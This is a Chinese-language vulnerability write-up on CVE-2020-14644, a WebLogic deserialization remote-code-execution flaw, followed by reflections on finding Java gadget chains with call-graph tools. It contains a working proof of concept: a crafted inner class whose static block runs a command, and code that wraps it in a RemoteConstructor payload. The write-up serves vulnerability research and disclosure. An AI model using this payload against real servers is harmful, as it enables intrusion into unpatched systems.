做者:kingkk
原文連接:https://www.kingkk.com/2020/08/CVE-2020-14644
本文爲做者投稿,Seebug Paper 期待你的分享,凡經採用即有禮品相送!
投稿郵箱:paper@seebug.org
java
前言
前段時間Weblogic出了七月份的補丁,其中比較受關注的有4個9.8評分的RCE,目前14625和14645在網上也都有了詳情,話說有個老哥一己之力包了其中三個屬實nb。git
以前也有幾個朋友問起14644的詳情,正好一塊兒分享下14644的利用,和以前疫情半年在家挖gadget的一些思考。github
CVE-2020-14644
和288三、14645不一樣的是,這應該算是一條全新的gadget,並非在原先2555的基礎上進行繞過。web
這個漏洞的主角是com.tangosol.internal.util.invoke.RemoteConstructor
數組
在它的readResolve
方法中會一直調用到RemotableSupport.realize()
方法函數
RemoteConstructor.readResolve -> RemoteConstructor.newInstance -> RemotableSupport.realize realize`方法中有兩個比較有意思的點`defineClass`和`createInstance
比較熟悉Java的同窗到這裏能夠察覺到一些問題,這是一個自定義加載類並實例化的過程。工具
ysoserial中經典的TemplateImpl中就有相似的過程。學習
可是目前僅是函數名存在一些端倪,真要利用還得看具體的函數實現。this
先來看defineClass
函數spa
最後又調用了重載的defineClass
,但頗有意思的是這個函數IDEA跟進以後指向的是ClassLoader.defineClass
在RemotableSupport
的函數申明中,能夠看到這個類實際上是繼承了ClassLoader
這個類的
就表示這個RemotableSupport.defineClass
函數確實是能夠經過二進制字節碼在內存中定義類的。
而後就是考慮這個byte數組是否能夠在反序列化時被咱們控制,能夠看到這個數組是經過byte[] abClass = definition.getBytes()
而來的。
這個屬性剛好是ClassDefinition
的一個byte數組的成員變量,能夠在初始化時直接傳入。
固然光defineClass
對於漏洞觸發來講是不夠的,定義了類以後,還得加載這個類,才能觸發staic方法。(不過本身挖洞的時候其實也不必那麼嚴謹,下面有個createInstance
函數其實已經八九不離十了
固然這個方法確實也沒有辜負咱們的指望,獲取了該類的構造函數,並進行實例化。
這裏還有個須要注意的地方是defineClass
的類名不像TemplateImpl中是一個任意的類名,它是根據definition
的屬性而來的(應該能夠反射修改?暫時沒嘗試
String sBinClassName = definition.getId().getName(); String sClassName = sBinClassName.replace('/', '.');
這裏getName
獲取到的類名是一個內部類,內部類的名字是根據ClassIdentity.m_sVersion
而來的
而這個成員變量的值是初始化的時候定義的,是一串md5的哈希值
public ClassIdentity(Class<?> clazz) { this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class")))); }
不然,defineClass
時指定的className與字節碼文件中的類對應不上的話就會拋出NoClassDefFoundError
的異常。
這裏以12.2.1.3版本爲例(版本不一樣時類的哈希值也會不同),生成以下內部類
package com.tangosol.internal.util.invoke.lambda; import java.io.IOException; public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A { public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { var1.printStackTrace(); } } }
payload的構造就比較簡單
byte[] bytes = Files.readBytes(new File("/path/to/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class")); RemoteConstructor constructor = new RemoteConstructor( new ClassDefinition(new ClassIdentity(LambdaIdentity.class), bytes), new Object[]{} ); return constructor;
(這裏提一句,若是你生成poc時,發現報錯的類名一直在變,應該是你把你重寫的類加到了classPath中,致使覆蓋了weblogic原有的類)
最後,常規流程走一波,彈個計算器(真搞不懂大家黑客,彈個計算器直接cmd運行很差嗎
我提交的時候只給了12.2.1.3.0和12.2.1.4.0的POC,不知道爲何最後給出的影響範圍只有三個(雖然我確實沒測過10.3.6和14.x的
這個漏洞比較好的地方就在於他不像2555的單向鏈式執行,致使沒法執行比較複雜的Java代碼,只能經過別的方式進一步利用。而這個漏洞能夠直接在static代碼塊中插入想要執行的代碼,利用起來比較方便。
比較麻煩的一點在於同一個Payload沒法屢次執行,緣由在於這個類在第一次觸發時已經被加載了。能夠經過生成不一樣的類或者以前提到的反射(或許?)解決這個問題。
關於gadget的一些思考
gadget的鏈式性
對反序列化(不只限於Java的反序列化,還有JSON之類的)瞭解過的人應該都知道,反序列化的實際上是一個鏈式的調用,其實對於常規漏洞來講也是,是一條從Source到Sink的調用鏈路。
只是反序列化這裏的Source比較明確,對於Java反序列化來講是readObject,對於JSON的反序列化來講是getter、setter。
但既然是一條鏈,就能夠拆卸組裝,從過不一樣的鏈接方式,組裝成另外一條新的鏈。
以CVE-2020-2555爲例,他的觸發鏈其實以下
ObjectInputStream.readObject() -> BadAttributeValueExpException.readObject() -> LimitFilter.toString() -> ChainedExtractor.extract() -> ReflectionExtractor.extract()
當時一月份的修復方式至關於在LimitFilter.toString()
這裏打斷了這條鏈。
當時就感受這種修復是一種治標不治本的修復,因而就出了2883的繞過,2883的觸發鏈大體以下
ObjectInputStream.readObject() -> PriorityQueue.readObject() -> ExtractorComparator.compare() -> ChainedExtractor.extract() -> ReflectionExtractor.extract()
能夠看到,這就是典型的一個將原先的鏈進行組裝,拼接成一個新的鏈。
這樣作的好處在於能夠複用原先找到的鏈,下降構形成本。事實上ysoserial中的一些鏈也是那麼作的,經過將一些鏈中的一小節進行拼接,就生成了一個新的鏈。當時分析完ysoserial以後的雲玩家感言也就是那麼想的。
這樣咱們其實在找gadget時能夠複用ysoserial中一些比較好用的鏈的一小節,例如
AnnotationInvocationHandler.readObject() -> ... -> Map.get()
PriorityQueue.readObject() -> ... -> Comparator.compare()
BadAttributeValueExpException.readObject() -> ... -> Object.toString()
HashSet.readObject() -> ... -> Object.hashCode()
HashSet.readObject() -> ... -> Map.put()
HashSet.readObject() -> ... -> Map.get()
Hashtable.readObject() -> ... -> Object.equals()
這樣在找gadget時就不必定非得從readObject
函數開始,只要能找到上面的函數到Sink點的通路便可。
並且除了readObject
其實還有readExternal
和readResolve
之類的函數有的話也能夠關注。
這樣在看到2555的漏洞修復的時候,其實只要找到一個Comparator.compare()
觸發了ValueExtractor.extract()
函數便可,事實表示這樣的難易程度就下降了不少,也就是當時2883有蠻多師傅都挖出來了的緣由。
TaintAnalysis -> CallGraph
https://github.com/JackOfMostTrades/gadgetinspector
Gadget Inspector是一款 Black Hat USA 2018 中展現的挖掘gadget的工具,據說挖2555的做者就是藉助這款自動化的工具挖出了2555(但貌似進行了一些自定義化的改動)
看過源碼的以後發現其實內部是經過一套自定義的污點分析流程,去嘗試挖掘對應的gadget,污點分析的細節和原理這裏就不展開講了。
因爲以前作過一些自動化代碼審計的工做,我的感受污點分析的方式更像一個嚴謹的工程師,其中漏洞漏報主要源自於污點傳播函數(propagate)沒有定義好,致使一些污點信息沒有作對應的標記,從而致使污點跟蹤丟失,並且這些污點傳播函數的case其實比較難徹底覆蓋。
因爲我的挖洞的需求,其實咱們的作法能夠更激進一些,但願找出更多可能觸發漏洞的點,而且接受必定的誤報量,經過必定的誤報而儘量減小漏報,並經過一部分人工的排查,從而找出漏洞。
污點分析的對象單位是一個變量,而咱們能夠將這個對象放大至函數,忽略具體的數據流走向,經過尋找Call Graph,尋找全部可能觸發Sink點的路徑。
這個過程其實就是尋找一個可能觸發的路徑,須要經過必定的人工排查,去肯定最後是否能夠觸發。但其實這樣作已經爲咱們排除了大量不可能的路徑。由於若是Call Graph都沒法找到一條可行的路徑,那就表示這個Sink點實際上是沒法觸發的。(反射除外,反射目前應該是靜態代碼沒法解決的一個痛點)
自動化這個過程當中的一些問題
實際過程當中可能還會有一些問題,仍是以以前Weblogic的鏈爲例子,好比觸發ReflectionExtractor.extract()
時,在上一層的LimitFilter.toString()
中代碼層面顯示的調用其實的是ValueExtractor.extract()
這就涉及到Java語言的一個比較基本且重要的特性——多態,這個ValueExtractor
實際上是要在運行時才能肯定的,因此靜態代碼層面沒法肯定這個函數具體要調用的代碼塊。
這一點Gadget Inspector其實已經作了處理,它在一開始會將類之間的繼承和實現關係作了一個映射,在發現調用ValueExtractor.extract()
時會去尋找全部其具體的實現,從而遍歷全部可能觸發的代碼塊。
在Call Graph + 類關係處理以後,找到的整個調用鏈可能會異常龐大,好比調用到了toString方法,可是重寫了toString的類其實不少,這樣就會產生一種指數爆炸的效果,可能須要一些限制類名、限制鏈的深度之類的操做,去避免過於長的鏈的查找。
其次就是能夠經過從Sink->Source,Source->Sink正逆向相互結合來挖掘對應的鏈,其實對於gadget這種Source比較肯定的我的比較推薦Source->Sink的尋找過程,而且根據gadget的鏈式性中提到的,將toString
、hashCode
、compare
之類的函數也加入到Source中,減小尋找的難度。
我的感受Java反序列化的gadget其實會比JSON的要難找一些,其實嘗試去分析JSON的gadget以後會發現整個調用鏈其實都比較淺,像常規的jndi的調用鏈一般不超過3層。並且Java反序列化須要這個過程當中全部涉及到的類都繼承了Serializable接口,而且可能會遇到一些transient
修飾的成員變量。
雖然Gadget Inspector中對類進行了限制,在自動化查找的時候就判斷了類是否繼承Serializable,可是感受會有一些雖然沒有繼承Serializable,可是僅調用的是一個static函數之類的狀況,致使一些可能的鏈被剔除了。因此我的更傾向於在人工排查時再去解決這些問題,只要誤報在一個能夠接受的範圍內,自動化只負責找到全部可能的狀況。(雖然我確實也遇到過找到了一條能夠觸發的鏈,可是其中一些類沒有繼承Serializable致使沒法反序列化的狀況)
例如以readResolve
函數爲Source,RemotableSupport:defineClass
爲Sink,就能夠找到以下的調用鏈,也是14644漏洞觸發的堆棧。
總結
以上就是CVE-2020-14644的漏洞詳情,以及上半年疫情呆家對gadget挖掘一些思考,歡迎感興趣的師傅一塊兒交流學習。
本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1281/